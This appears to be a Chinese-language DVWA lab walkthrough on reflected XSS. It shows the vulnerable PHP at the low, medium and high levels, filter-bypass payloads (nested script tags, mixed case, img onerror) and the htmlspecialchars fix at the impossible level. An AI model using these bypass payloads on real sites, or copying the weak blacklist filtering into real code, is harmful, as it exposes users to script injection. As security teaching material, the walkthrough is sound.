### 1、反射型xss
### ①、low
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
```
分析與利用:
直接通過(guò)$_GET方式獲取name的值,之后未進(jìn)行任何編碼和過(guò)濾,導(dǎo)致用戶輸入一段js腳本會(huì)執(zhí)行。
構(gòu)造payload:
```
<script>alert(/xss/)</script>
```
直接執(zhí)行代碼,如下圖:
![](/upload/attach/201710/201710161527_vwboguc6hyhtpe0.jpg)
### ②、medium
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析與利用:
str_replace對(duì)輸入的<script>標(biāo)簽進(jìn)行替換為空,這樣當(dāng)在輸入上面low等級(jí)的payload的時(shí)候,就會(huì)進(jìn)行過(guò)濾導(dǎo)致代碼執(zhí)行不成功,此時(shí)可以多寫入一個(gè)<script>, 如
```<scrip<script>t>alert(/xss/)</script>```,過(guò)濾方法把中間的<script>標(biāo)簽替換為空之后 <scrip 與t>重新組合一個(gè)<script>,成功執(zhí)行代碼。
也可以構(gòu)造別的標(biāo)簽 如```<img src=0 onerror=alert(/xss1/)> ```
或者把標(biāo)簽轉(zhuǎn)換大小寫的方式進(jìn)行繞過(guò)``` <scRipt>alert(/xss2/)</sCript>```
### ③、high
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析與利用:
preg_replace執(zhí)行一個(gè)正則表達(dá)式的搜索和替換,這時(shí)候不論是大小寫、雙層<script>都無(wú)法繞過(guò),此時(shí)可以使用別的標(biāo)簽,比如剛剛使用過(guò)的<img>,構(gòu)造payload
```<img src=0 onerror=alert(/xss/)>```
執(zhí)行payload之后URL變化為:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%2Fxss%2F%29%3E#
### ④、impossible
安全代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
分析:
Htmlspecialchars方法將用戶輸入的特殊字符轉(zhuǎn)換為 HTML 實(shí)體,< > “ ‘ &等字符會(huì)被轉(zhuǎn)換,于是不存在xss漏洞。